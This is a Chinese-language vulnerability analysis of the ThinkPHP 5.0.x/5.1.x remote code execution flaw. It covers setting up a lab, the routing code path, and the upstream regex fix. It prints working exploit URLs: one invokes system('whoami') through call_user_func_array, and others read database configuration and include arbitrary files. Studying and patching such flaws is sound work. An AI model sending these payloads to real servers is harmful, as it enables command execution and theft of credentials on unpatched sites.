漏洞影响范围:
ThinkPHP 5.0.7-5.0.22
ThinkPHP 5.1.x
环境搭建
在github上下载源码
https://github.com/top-think/think/releases/tag/v5.0.22
修改composer.json
中版本,不然执行composer update
默认会升级到5.0.25的安全版本。
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.22"
},
在composer.json
目录下执行composer update
访问http://localhost/public/index.php,搭建成功。
PHP版本若为8.0,运行payload时会报错。
Method ReflectionParameter::getClass() is deprecated
getClass()函数废弃了,改用了getType()函数。
这里直接换PHP版本为7
调试分析
默认开启兼容模式,未开启强制路由。
payload
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
跟进routeCheck函数
这里因为未开启强制路由url_route_must
,会走到下面的parseUrl
parseUrl函数以/
为分界符,将URL分为模块/控制器/函数形式。
然后调用exec函数,根据type形式,走进module函数中。
获取控制器和函数后,通过invokeMethod以反射方式调用方法。
这里关键在未验证控制器的合法性,我们用think\app
可获取到当前模块外的其他控制器。
所以payload不止这一种,因为可以调用任意函数。
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
漏洞修复
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
使用正则对Controller名进行了正则校验。
只能含字母或者.
,不能使用\
了
参考
https://xz.aliyun.com/t/8312
https://y4er.com/posts/thinkphp5-rce